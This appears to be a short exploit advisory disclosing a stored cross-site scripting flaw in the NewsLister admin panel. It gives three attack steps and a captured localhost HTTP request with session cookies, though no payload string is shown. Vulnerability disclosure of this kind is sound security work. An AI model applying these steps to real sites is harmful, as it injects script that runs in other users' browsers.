# Exploit Title: NewsLister - Authenticated Persistent Cross-Site Scripting # Date: 2020-11-27 # Exploit Author: Emre Aslan # Vendor Homepage: https://www.netartmedia.net/newslister.html # Tested on: Windows & XAMPP ==> PoC <== 1- Login to admin panel. 2- Enter the payload to title value. 3- View the news. XSS will be execute. ==> HTTP Request <== GET /admin/index.php?page=add HTTP/1.1 Host: 127.0.0.1:8080 Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: host/admin/index.php?page=home Accept-Encoding: gzip, deflate, br Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: AuthUser=administrator~da1907216877e31462c14b35db67de32~1606484275; PHPSESSID=nn5gq66nla4lfs47fq9eoctvuf